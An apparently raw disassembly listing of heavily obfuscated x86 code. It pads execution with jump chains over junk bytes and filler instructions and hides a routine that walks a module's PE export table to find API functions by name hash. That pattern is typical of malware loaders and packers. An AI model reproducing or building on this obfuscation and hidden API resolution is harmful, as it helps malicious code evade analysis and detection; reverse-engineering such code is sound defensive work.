--------------------------------------------------------------------------- loc_40471B: ; CODE XREF: sub_4046B2:loc_404742j jmp short loc_404752 ; --------------------------------------------------------------------------- db 8Fh, 1Ch, 25h dd 0A108ABFAh, 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh dd 4DE47776h, 49501302h, 57C6F4Eh db 5Ah, 8Bh ; --------------------------------------------------------------------------- loc_404742: ; CODE XREF: sub_4046B2+60j jmp short loc_40471B ; --------------------------------------------------------------------------- dd 67268168h ; --------------------------------------------------------------------------- loc_404748: ; CODE XREF: sub_4046B2:loc_404752j jmp short loc_404775 ; --------------------------------------------------------------------------- dw 0BD14h dd 0B98003B2h db 0FEh, 5Fh ; --------------------------------------------------------------------------- loc_404752: ; CODE XREF: sub_4046B2:loc_40471Bj jmp short loc_404748 ; --------------------------------------------------------------------------- lodsb loc_404755: ; CODE XREF: sub_4046B2:loc_404775j jmp short loc_404786 ; --------------------------------------------------------------------------- jnz short near ptr loc_40475F+4 jnp short loc_4046F3 icebp setalc push edi inc esp loc_40475F: ; CODE XREF: sub_4046B2+A5j sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_40470D adc ah, bl loopne loc_40470D pop esi loc_404775: ; CODE XREF: sub_4046B2:loc_404748j jmp short loc_404755 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h loc_404786: ; CODE XREF: sub_4046B2:loc_404755j lodsd push edx push edi rcl edi, 0E3h inc edi rcl edx, 0Ch cld pop edi pop edx mov esi, [eax+8] push ecx push edx cmp edx, 80B29Ah cmp ebp, esp inc ecx cmp al, 0DBh push eax pop edx xor edx, eax mov dx, 48F5h cld pop edx pop ecx retn ; --------------------------------------------------------------------------- push esi push edi xor edi, ebp dec esi cld pop edi pop esi loc_4047B7: ; CODE XREF: sub_4046B2+30j mov eax, [eax+34h] push edi push eax rcr eax, 27h xchg eax, edi xor edi, ebp xchg eax, edi cmp al, 0C6h cld pop eax pop edi add eax, 7Ch jmp short loc_4047FD ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h db 35h, 0CAh ; --------------------------------------------------------------------------- loc_4047D6: ; CODE XREF: sub_4046B2:loc_4047FDj jmp short loc_40480D ; --------------------------------------------------------------------------- dd 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh db 0F7h ; --------------------------------------------------------------------------- loc_4047FD: ; CODE XREF: sub_4046B2+11Bj jmp short loc_4047D6 ; --------------------------------------------------------------------------- db 64h db 0CDh, 82h, 93h ; --------------------------------------------------------------------------- loc_404803: ; CODE XREF: sub_4046B2:loc_40480Dj jmp short loc_404830 ; --------------------------------------------------------------------------- db 0D0h, 0C9h, 0CEh dd 0DA85FCEFh db 0Bh ; --------------------------------------------------------------------------- loc_40480D: ; CODE XREF: sub_4046B2:loc_4047D6j jmp short loc_404803 ; --------------------------------------------------------------------------- db 0E8h dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h ; --------------------------------------------------------------------------- loc_404830: ; CODE XREF: sub_4046B2:loc_404803j mov eax, [eax+3Ch] push eax push edi push ebp pop eax dec eax cld pop edi pop eax mov esi, eax push edi push edx not edi clc mov edx, 80C89Ah mov di, 49A2h dec edx push ebp pop edi cld pop edx pop edi retn sub_4046B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short loc_404871 ; --------------------------------------------------------------------------- db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- loc_404857: ; CODE XREF: .text:loc_404871j jmp short loc_404884 ; --------------------------------------------------------------------------- db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp std loc_404871: ; CODE XREF: .text:00404852j jmp short loc_404857 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_404874: ; CODE XREF: .text:loc_404884j jmp short near ptr sub_4048A4 ; --------------------------------------------------------------------------- dw 0C043h dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h ; --------------------------------------------------------------------------- loc_404884: ; CODE XREF: .text:loc_404857j jmp short loc_404874 ; --------------------------------------------------------------------------- dw 0A26Dh dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h dd 0AA954C7Fh, 7611389Bh ; =============== S U B R O U T I N E ======================================= sub_4048A4 proc far ; CODE XREF: .text:loc_404874j ; sub_4048A4:loc_4050F3p ... var_18 = dword ptr -18h push ebp push ecx push ebx lea ecx, ds:8098DAh xor ecx, edx sbb ebx, 80919Ah ror ebx, 0F5h cmp al, 0DCh cld pop ebx pop ecx mov ebp, esp push ecx push eax xor eax, esp lea ecx, ds:81095Ah lea eax, ds:80A1DAh dec ecx cld pop eax pop ecx add esp, 0FFFFFFFCh push eax push edi lea eax, ds:809A5Ah xor edi, ebx xchg edi, eax mov edi, ecx cmp ebx, ebx rep cld pop edi pop eax push ebx jmp short loc_404916 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 68h ; --------------------------------------------------------------------------- loc_4048F0: ; CODE XREF: sub_4048A4:loc_404916j jmp short loc_404929 ; --------------------------------------------------------------------------- dw 2681h dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh db 47h, 74h ; --------------------------------------------------------------------------- loc_404916: ; CODE XREF: sub_4048A4+47j jmp short loc_4048F0 ; --------------------------------------------------------------------------- dd 0E0E3129Dh ; --------------------------------------------------------------------------- cdq loc_40491D: ; CODE XREF: sub_4048A4:loc_404929j jmp short loc_40494E ; --------------------------------------------------------------------------- pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa loc_404929: ; CODE XREF: sub_4048A4:loc_4048F0j jmp short loc_40491D ; --------------------------------------------------------------------------- db 0A4h dd 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh dd 6C1FBE79h, 583BCA35h, 41796B1h db 0EDh, 22h ; --------------------------------------------------------------------------- loc_40494E: ; CODE XREF: sub_4048A4:loc_40491Dj push esi jmp short loc_40497C ; --------------------------------------------------------------------------- db 6Eh, 0Fh, 9Ch ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_4048A4:loc_40497Cj jmp short loc_40498F ; --------------------------------------------------------------------------- dw 7AA5h dd 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh ; --------------------------------------------------------------------------- loc_40497C: ; CODE XREF: sub_4048A4+ABj jmp short loc_404954 ; --------------------------------------------------------------------------- dw 94E7h dd 83323Dh, 2CDF7E39h, 18FB8AF5h ; --------------------------------------------------------------------------- jno short loc_4049E4 xlat loc_40498F: ; CODE XREF: sub_4048A4:loc_404954j push edi push ecx push edx sub ecx, 0A0C81Ah jnz loc_4049A0 neg edx loc_4049A0: ; CODE XREF: sub_4048A4+F4j dec ecx cld pop edx pop ecx mov ebx, [ebp+8] push edx push eax test cl, al test ecx, ebx push esp pop edx dec eax cld pop eax pop edx mov ecx, ebx push ecx push edx mov edx, edi test eax, ebp push eax pop ecx rcr ecx, 57h xor edx, eax cld pop edx pop ecx add ebx, [ebx+3Ch] jmp short loc_4049F9 ; --------------------------------------------------------------------------- cmp ch, bl dec eax loc_4049CD: ; CODE XREF: sub_4048A4:loc_4049F9j jmp short loc_404A0C ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_404A31 mov dh, 0B7h and al, 8Dh loc_4049E4: ; CODE XREF: sub_4048A4+E8j inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h db 3Eh ; --------------------------------------------------------------------------- loc_4049F9: ; CODE XREF: sub_4048A4+124j jmp short loc_4049CD ; --------------------------------------------------------------------------- db 9Fh dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h ; --------------------------------------------------------------------------- loc_404A0C: ; CODE XREF: sub_4048A4:loc_4049CDj push dword ptr [ebx+7Ch] jmp short loc_404A2D ; --------------------------------------------------------------------------- db 0A1h, 0C6h, 87h dd 2352DDB4h ; --------------------------------------------------------------------------- loc_404A18: ; CODE XREF: sub_4048A4:loc_404A2Dj jmp short loc_404A44 ; --------------------------------------------------------------------------- dw 0D920h dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h ; --------------------------------------------------------------------------- dec esi loc_404A2D: ; CODE XREF: sub_4048A4+16Bj jmp short loc_404A18 ; --------------------------------------------------------------------------- db 6Fh db 7Ch ; --------------------------------------------------------------------------- loc_404A31: ; CODE XREF: sub_4048A4+13Aj ; sub_4048A4:loc_404A44j jmp short loc_404A5C ; --------------------------------------------------------------------------- db 5 dd 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh ; --------------------------------------------------------------------------- loc_404A44: ; CODE XREF: sub_4048A4:loc_404A18j jmp short loc_404A31 ; --------------------------------------------------------------------------- or bh, [ebx-68h] icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi loc_404A5C: ; CODE XREF: sub_4048A4:loc_404A31j mov ebx, [ebx+78h] push ebx push ecx lea ebx, ds:80C89Ah mov ebx, ebx mov ebx, esi inc ebx cld pop ecx pop ebx add ebx, ecx push ebx push eax mov eax, ebx or ebx, 808ADAh cmp cl, al dec eax rcr ebx, 0D7h mov ebx, 80A9DAh dec eax cmp al, 0CEh dec eax cld pop eax pop ebx add [esp+0], ebx push eax push ebx xchg ebx, eax test ecx, esp test ecx, eax cmp cl, ch neg eax clc cld pop ebx pop eax mov edi, [ebx+20h] push ecx push eax mov ecx, 80D81Ah mov ecx, ebp mov ecx, 81A1AAh neg ecx not ecx neg eax mov cx, 4BB2h inc eax cld pop eax pop ecx add edi, ecx push ebx push edi jmp loc_404AD1 ; --------------------------------------------------------------------------- mov bx, 49A3h xor edi, esi shl ebx, 3Fh loc_404AD1: ; CODE XREF: sub_4048A4+21Fj inc ebx cld pop edi pop ebx xor esi, esi jmp short loc_404B04 ; --------------------------------------------------------------------------- db 0A4h, 0Dh, 0C2h ; --------------------------------------------------------------------------- loc_404ADC: ; CODE XREF: sub_4048A4:loc_404B04j jmp short loc_404B17 ; --------------------------------------------------------------------------- dw 10D3h dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h dd 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h ; --------------------------------------------------------------------------- loc_404B04: ; CODE XREF: sub_4048A4+233j jmp short loc_404ADC ; --------------------------------------------------------------------------- dw 7AA5h db 2Bh ; --------------------------------------------------------------------------- loc_404B09: ; CODE XREF: sub_4048A4:loc_404B17j jmp short loc_404B3A ; --------------------------------------------------------------------------- mov [ecx], ah inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl loc_404B17: ; CODE XREF: sub_4048A4:loc_404ADCj jmp short loc_404B09 ; --------------------------------------------------------------------------- align 2 dw 2A15h dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh dd 323D94E7h, 7E390083h db 0DFh, 2Ch ; --------------------------------------------------------------------------- loc_404B3A: ; CODE XREF: sub_4048A4:loc_404B09j ; sub_4048A4+521j lea edx, [edi+esi*4] push esi push ebx xor esi, 80C8DAh mov esi, edx lea esi, ds:8093DAh neg esi and ebx, 808A1Ah rep cld pop ebx pop esi mov edx, [edx] push esi push eax test ecx, eax inc eax cld pop eax pop esi add edx, ecx push eax push ecx xor eax, ebx mov eax, ecx lea ecx, ds:80A8DAh ror eax, 0ABh xchg ecx, ecx cld pop ecx pop eax mov [ebp-4], edx jmp short loc_404BAD ; --------------------------------------------------------------------------- dw 0A930h db 2Eh ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048A4:loc_404BADj jmp short loc_404BC0 ; --------------------------------------------------------------------------- db 0CFh dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch dd 0B7B65178h, 53428D24h, 0AF8E8990h, 0CB9A45BCh, 0A766C1A8h ; --------------------------------------------------------------------------- push esp loc_404BAD: ; CODE XREF: sub_4048A4+2D8j jmp short loc_404B81 ; --------------------------------------------------------------------------- db 0FDh dd 0F9C043F2h db 3Eh, 9Fh ; --------------------------------------------------------------------------- loc_404BB6: ; CODE XREF: sub_4048A4:loc_404BC0j jmp short loc_404BE3 ; --------------------------------------------------------------------------- dd 0BB4AB5ECh, 971631D8h ; --------------------------------------------------------------------------- loc_404BC0: ; CODE XREF: sub_4048A4:loc_404B81j jmp short loc_404BB6 ; --------------------------------------------------------------------------- dw 6D84h dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h dd 954C7F9Eh, 11389BAAh db 76h, 77h, 0E4h ; --------------------------------------------------------------------------- loc_404BE3: ; CODE XREF: sub_4048A4:loc_404BB6j xor eax, eax jmp short loc_404C14 ; --------------------------------------------------------------------------- db 6Fh dd 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h, 7B0A75ACh dd 57D6F198h db 44h ; --------------------------------------------------------------------------- loc_404C01: ; CODE XREF: sub_4048A4:loc_404C14j jmp short loc_404C33 ; --------------------------------------------------------------------------- db 2Dh dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh, 9D744786h ; --------------------------------------------------------------------------- loc_404C14: ; CODE XREF: sub_4048A4+341j jmp short loc_404C01 ; --------------------------------------------------------------------------- dw 0E312h db 0E0h, 99h ; --------------------------------------------------------------------------- loc_404C1A: ; CODE XREF: sub_4048A4:loc_404C33j jmp short loc_404C4A ; --------------------------------------------------------------------------- pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] loc_404C33: ; CODE XREF: sub_4048A4:loc_404C01j jmp short loc_404C1A ; --------------------------------------------------------------------------- db 41h, 0E6h, 27h dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h ; --------------------------------------------------------------------------- add al, 0EDh loc_404C4A: ; CODE XREF: sub_4048A4:loc_404C1Aj ; sub_4048A4+44Bj rol eax, 7 push esi push ecx xchg esi, esi xchg ecx, esi inc esi not esi mov si, 494Dh rcr ecx, 6 dec ecx shr esi, 8 mov cx, 4A91h dec esi cld pop ecx pop esi xor al, [edx] jmp short loc_404C9D ; --------------------------------------------------------------------------- db 0A5h, 7Ah, 2Bh ; --------------------------------------------------------------------------- mov [ecx], ah inc esi pop es loc_404C74: ; CODE XREF: sub_4048A4:loc_404C9Dj jmp short loc_404CB4 ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h db 7Eh ; --------------------------------------------------------------------------- loc_404C9D: ; CODE XREF: sub_4048A4+3C7j jmp short loc_404C74 ; --------------------------------------------------------------------------- db 0DFh dd 0FB8AF52Ch db 18h ; --------------------------------------------------------------------------- loc_404CA5: ; CODE XREF: sub_4048A4:loc_404CB4j jmp short loc_404CD3 ; --------------------------------------------------------------------------- db 71h dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- loc_404CB4: ; CODE XREF: sub_4048A4:loc_404C74j jmp short loc_404CA5 ; --------------------------------------------------------------------------- dw 0EB3Ah dd 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h dd 53428D24h db 90h db 89h, 8Eh ; --------------------------------------------------------------------------- loc_404CD3: ; CODE XREF: sub_4048A4:loc_404CA5j inc edx push eax push edi not eax clc mov eax, esp test cl, cl inc edi mov eax, 809A9Ah shr eax, 86h push esp pop eax clc cld pop edi pop eax cmp byte ptr [edx], 0 jnz loc_404C4A jmp short loc_404D24 ; --------------------------------------------------------------------------- db 0A8h db 0C1h, 66h ; --------------------------------------------------------------------------- loc_404CFA: ; CODE XREF: sub_4048A4:loc_404D24j jmp short loc_404D37 ; --------------------------------------------------------------------------- dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h ; --------------------------------------------------------------------------- loc_404D24: ; CODE XREF: sub_4048A4+451j jmp short loc_404CFA ; --------------------------------------------------------------------------- dw 4C7Fh dd 389BAA95h, 0E4777611h, 5013024Dh db 49h, 4Eh, 6Fh ; --------------------------------------------------------------------------- loc_404D37: ; CODE XREF: sub_4048A4:loc_404CFAj cmp eax, [ebp+0Ch] jz loc_404DDF jmp short loc_404D6E ; --------------------------------------------------------------------------- dw 6726h dd 3B2BD14h, 5FFEB980h, 7B0A75ACh, 57D6F198h, 0F3622D44h dd 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h db 0E0h ; --------------------------------------------------------------------------- loc_404D69: ; CODE XREF: sub_4048A4:loc_404D6Ej jmp short loc_404D95 ; --------------------------------------------------------------------------- cdq pop esi aas loc_404D6E: ; CODE XREF: sub_4048A4+49Cj jmp short loc_404D69 ; --------------------------------------------------------------------------- or al, 55h loc_404D72: ; CODE XREF: sub_4048A4:loc_404D95j jmp short loc_404DA5 ; --------------------------------------------------------------------------- dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh, 41284B1Ah dd 7DD427E6h, 7940C372h, 356C1FBEh db 0CAh ; --------------------------------------------------------------------------- loc_404D95: ; CODE XREF: sub_4048A4:loc_404D69j jmp short loc_404D72 ; --------------------------------------------------------------------------- cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf loc_404DA5: ; CODE XREF: sub_4048A4:loc_404D72j inc esi push esi push ecx cmp ebx, eax xchg ecx, esi xor ecx, esp test al, dh mov ecx, ebx lea ecx, ds:80C89Ah not esi rcl ecx, 4Eh xor esi, esp cld pop ecx pop esi cmp esi, [ebx+18h] jb loc_404B3A push edi push esi dec esi ror esi, 33h mov edi, edx mov si, 49CEh cmp al, 0DCh xchg edi, esi inc edi cld pop esi pop edi loc_404DDF: ; CODE XREF: sub_4048A4+496j mov edx, [ebx+24h] push edx push ecx inc edx ror edx, 0AAh dec edx cmp esp, esp push esi pop edx shr ecx, 6Ah xchg ecx, edx inc edx cld pop ecx pop edx add edx, ecx push esi push edx mov si, 4AA2h push ebp pop esi dec esi mov edx, 80909Ah push edx pop edx cmp ebx, edi dec esi inc esi repne cld pop edx pop esi movzx edx, word ptr [edx+esi*2] push ebx push edx push edi pop edx mov ebx, 80905Ah test al, ah mov bx, 4A52h xor edx, eax mov edx, ebp mov edx, esp cld pop edx pop ebx mov eax, [ebx+1Ch] jmp short loc_404E5C ; --------------------------------------------------------------------------- db 2Ah, 1Bh, 0B8h ; --------------------------------------------------------------------------- loc_404E34: ; CODE XREF: sub_4048A4:loc_404E5Cj jmp short loc_404E6F ; --------------------------------------------------------------------------- dw 0F691h dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h dd 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h ; --------------------------------------------------------------------------- loc_404E5C: ; CODE XREF: sub_4048A4+58Bj jmp short loc_404E34 ; --------------------------------------------------------------------------- dw 3073h db 0A9h ; --------------------------------------------------------------------------- loc_404E61: ; CODE XREF: sub_4048A4:loc_404E6Fj jmp short loc_404E92 ; --------------------------------------------------------------------------- db 2Eh dd 3A655CCFh, 6E148EBh db 0C7h, 0F4h, 1Dh ; --------------------------------------------------------------------------- loc_404E6F: ; CODE XREF: sub_4048A4:loc_404E34j jmp short loc_404E61 ; --------------------------------------------------------------------------- db 92h, 63h, 60h ; --------------------------------------------------------------------------- sbb esi, ebx loc_404E76: ; CODE XREF: sub_4048A4:loc_404E92j jmp short loc_404EA7 ; --------------------------------------------------------------------------- mov edi, 0DBEAD58Ch js short loc_404ED0 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp loc_404E92: ; CODE XREF: sub_4048A4:loc_404E61j jmp short loc_404E76 ; --------------------------------------------------------------------------- dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h db 6Dh, 0A2h, 33h ; --------------------------------------------------------------------------- loc_404EA7: ; CODE XREF: sub_4048A4:loc_404E76j add eax, ecx push ecx push ebx mov bx, 48F6h cmp dl, bl cmp al, 0C6h push ebx pop ecx shr ebx, 0F6h mov ecx, ebp ror ebx, 9 push esp pop ecx cmp al, 0E0h cmc loc_404EC2: ; CODE XREF: sub_4048A4+67Fj cld pop ebx pop ecx mov eax, [eax+edx*4] push eax push edx mov dx, 494Dh test ecx, ecx loc_404ED0: ; CODE XREF: sub_4048A4+5D9j clc cld pop edx pop eax add eax, ecx jmp short loc_404EF4 ; --------------------------------------------------------------------------- xchg esi, [ebp+ebx*8-26DFDCAEh] loc_404EDF: ; CODE XREF: sub_4048A4:loc_404EF4j jmp short loc_404F0B ; --------------------------------------------------------------------------- db 9Eh, 7Fh, 4Ch dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h ; --------------------------------------------------------------------------- loc_404EF4: ; CODE XREF: sub_4048A4+632j jmp short loc_404EDF ; --------------------------------------------------------------------------- dw 5A05h ; --------------------------------------------------------------------------- loc_404EF8: ; CODE XREF: sub_4048A4:loc_404F0Bj jmp short loc_404F27 ; --------------------------------------------------------------------------- dw 688Bh dd 14672681h, 8003B2BDh, 0AC5FFEB9h db 75h, 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_404F0B: ; CODE XREF: sub_4048A4:loc_404EDFj jmp short loc_404EF8 ; --------------------------------------------------------------------------- cwde loc_404F0E: ; CODE XREF: sub_4048A4:loc_404F27j jmp short loc_404F3E ; --------------------------------------------------------------------------- icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_404EC2 adc ah, bl loc_404F27: ; CODE XREF: sub_4048A4:loc_404EF8j jmp short loc_404F0E ; --------------------------------------------------------------------------- db 0E0h, 99h, 5Eh dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h db 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_404F3E: ; CODE XREF: sub_4048A4:loc_404F0Ej pop ecx jmp short loc_404F6E ; --------------------------------------------------------------------------- db 0D4h, 7Dh, 72h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h ; --------------------------------------------------------------------------- loc_404F54: ; CODE XREF: sub_4048A4:loc_404F6Ej jmp short loc_404F81 ; --------------------------------------------------------------------------- dw 70B3h dd 9C0F6EE9h, 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h db 15h, 2Ah ; --------------------------------------------------------------------------- loc_404F6E: ; CODE XREF: sub_4048A4+69Bj jmp short loc_404F54 ; --------------------------------------------------------------------------- db 1Bh ; --------------------------------------------------------------------------- loc_404F71: ; CODE XREF: sub_4048A4:loc_404F81j jmp short loc_404F9C ; --------------------------------------------------------------------------- db 0B8h dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h db 85h ; --------------------------------------------------------------------------- loc_404F81: ; CODE XREF: sub_4048A4:loc_404F54j jmp short loc_404F71 ; --------------------------------------------------------------------------- db 0DAh ; --------------------------------------------------------------------------- or ebp, eax loc_404F86: ; CODE XREF: sub_4048A4:loc_404F9Cj jmp short loc_404FAF ; --------------------------------------------------------------------------- dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h ; --------------------------------------------------------------------------- loc_404F9C: ; CODE XREF: sub_4048A4:loc_404F71j jmp short loc_404F86 ; --------------------------------------------------------------------------- dw 0E2ADh dd 2EA93073h, 3A655CCFh, 6E148EBh db 0C7h, 0F4h, 1Dh ; --------------------------------------------------------------------------- loc_404FAF: ; CODE XREF: sub_4048A4:loc_404F86j cmp eax, ebx jbe loc_40511A jmp short loc_404FE3 ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx loc_404FC0: ; CODE XREF: sub_4048A4:loc_404FE3j jmp short loc_404FF4 ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h db 0A2h, 33h, 0F0h ; --------------------------------------------------------------------------- loc_404FE3: ; CODE XREF: sub_4048A4+713j jmp short loc_404FC0 ; --------------------------------------------------------------------------- db 69h, 0EEh, 8Fh db 1Ch ; --------------------------------------------------------------------------- loc_404FE9: ; CODE XREF: sub_4048A4:loc_404FF4j jmp short loc_40501B ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- cli stosd or [ecx-224B783Ah], ah loc_404FF4: ; CODE XREF: sub_4048A4:loc_404FC0j jmp short loc_404FE9 ; --------------------------------------------------------------------------- dw 2352h dd 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h dd 8B5A057Ch, 67268168h, 3B2BD14h db 80h, 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_40501B: ; CODE XREF: sub_4048A4:loc_404FE9j cmp eax, ecx jnb loc_40511A push eax push edi shr edi, 72h cld pop edi pop eax push dword ptr [ebp-4] push eax push ebx jno short loc_40503D not eax mov ebx, ebx rcl eax, 15h xor ebx, ebp not ebx loc_40503D: ; CODE XREF: sub_4048A4+78Cj dec eax mov ebx, esi lea ebx, ds:809B5Ah inc ebx cld pop ebx pop eax push dword ptr [ebp+8] jmp short loc_40507F ; --------------------------------------------------------------------------- push edi inc esp sub eax, 29B0F362h loc_405056: ; CODE XREF: sub_4048A4:loc_40507Fj jmp short loc_405096 ; --------------------------------------------------------------------------- dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh ; --------------------------------------------------------------------------- sbb cl, [ebx+28h] loc_40507F: ; CODE XREF: sub_4048A4+7A9j jmp short loc_405056 ; --------------------------------------------------------------------------- db 41h, 0E6h, 27h dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h ; --------------------------------------------------------------------------- add al, 0EDh loc_405096: ; CODE XREF: sub_4048A4:loc_405056j push 1FC0EAEEh push esi push ecx xchg ecx, ecx mov esi, ebp test al, dh inc ecx cld pop ecx pop esi push dword ptr [ebp+8] jmp short loc_4050DC ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] loc_4050B3: ; CODE XREF: sub_4048A4:loc_4050DCj jmp short loc_4050F3 ; --------------------------------------------------------------------------- db 46h, 7, 34h dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh ; --------------------------------------------------------------------------- loc_4050DC: ; CODE XREF: sub_4048A4+806j jmp short loc_4050B3 ; --------------------------------------------------------------------------- dw 7E39h dd 8AF52CDFh, 567118FBh, 0E2ADC4D7h, 2EA93073h db 0CFh, 5Ch, 65h ; --------------------------------------------------------------------------- loc_4050F3: ; CODE XREF: sub_4048A4:loc_4050B3j call near ptr sub_4048A4 push edi push eax push esp pop edi xor edi, ebp xchg eax, eax cld cld pop eax pop edi call eax push edx push eax not edx cmp ecx, esi xor edx, ecx lea eax, ds:80DB5Ah shr eax, 0F4h cld pop eax pop edx loc_40511A: ; CODE XREF: sub_4048A4+70Dj ; sub_4048A4+779j pop edi push edi push edx mov edi, eax adc edi, 80891Ah cmp al, 0F9h inc edi cld pop edx pop edi pop esi push ecx push edi cmp edx, edi push ebx pop ecx cmp ebx, ecx inc edi cld pop edi pop ecx pop ebx jmp short loc_405166 ; --------------------------------------------------------------------------- db 0DEh db 0BFh, 8Ch ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4048A4:loc_405166j jmp short locret_40517A ; --------------------------------------------------------------------------- aad 0EAh fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx loc_405166: ; CODE XREF: sub_4048A4+895j jmp short loc_40513E ; --------------------------------------------------------------------------- dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh db 87h, 0B4h ; --------------------------------------------------------------------------- locret_40517A: ; CODE XREF: sub_4048A4:loc_40513Ej leave push edx push ebx dec edx lea edx, ds:80CADAh mov bx, 499Fh not edx push ebp pop ebx xor edx, eax inc edx stc cld pop ebx pop edx retn 8 sub_4048A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short loc_4051BB ; --------------------------------------------------------------------------- db 38h, 11h, 76h ; --------------------------------------------------------------------------- 